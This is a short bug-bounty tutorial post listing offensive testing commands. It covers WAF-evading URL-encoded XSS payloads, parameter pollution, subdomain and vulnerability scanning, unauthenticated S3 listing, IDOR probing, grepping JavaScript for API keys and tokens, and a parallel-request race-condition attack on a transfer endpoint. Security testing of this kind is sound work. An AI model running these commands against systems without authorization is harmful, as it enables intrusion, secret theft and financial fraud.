Bug Bounty Hunters, Here’s a Hidden Gem!

Listen to this Post

Bug bounty hunting isn’t just about luck—it’s about strategy, automation, and thinking like an attacker. This guide reveals advanced techniques to bypass WAFs, automate recon, and uncover hidden vulnerabilities.

You Should Know:

1. Bypassing WAFs Like a Pro

  • Use payload obfuscation to evade filters:
    URL-encode payloads
    echo '"><script>alert(1)</script>' | xxd -plain | tr -d '\n' | sed 's/(..)/%\1/g'
    
  • Test HTTP parameter pollution (HPP):
    GET /search?q=test&q=<script>alert(1)</script> HTTP/1.1
    

2. Advanced Reconnaissance

  • Subdomain enumeration with tools:
    subfinder -d example.com -o subs.txt
    assetfinder --subs-only example.com | tee -a subs.txt
    
  • Port scanning with nmap:
    nmap -sV --script vuln -iL subs.txt -oN scan_results.txt
    

3. Smart Automation

  • Automate XSS detection with ffuf:
    ffuf -w xss_payloads.txt -u "https://example.com/search?q=FUZZ" -mr "XSS Triggered"
    
  • Mass vulnerability scanning with nuclei:
    nuclei -l subs.txt -t ~/nuclei-templates/cves/ -o vulns.txt
    

4. Real-World Bug Hunting

  • Check misconfigured S3 buckets:
    aws s3 ls s3://bucketname --no-sign-request
    
  • Test for IDORs by manipulating object IDs:
    GET /api/user?id=1234 HTTP/1.1
    

5. Thinking Like an Attacker

  • Analyze JavaScript files for API keys:
    curl -s https://example.com/js/app.js | grep -E "api|key|token"
    
  • Exploit race conditions with parallel requests:
    seq 10 | xargs -P 10 -I {} curl -X POST https://example.com/transfer?amount=1000
    

What Undercode Say

Bug bounty hunting requires persistence, creativity, and automation. Mastering WAF evasion, recon automation, and manual testing separates elite hunters from beginners. Always document findings, reuse scripts, and stay updated on new attack vectors.

Expected Output:

  • Vulnerability reports with PoCs
  • Automated scan logs (e.g., nuclei, ffuf)
  • Exploitable misconfigurations (S3, IDOR, XSS)
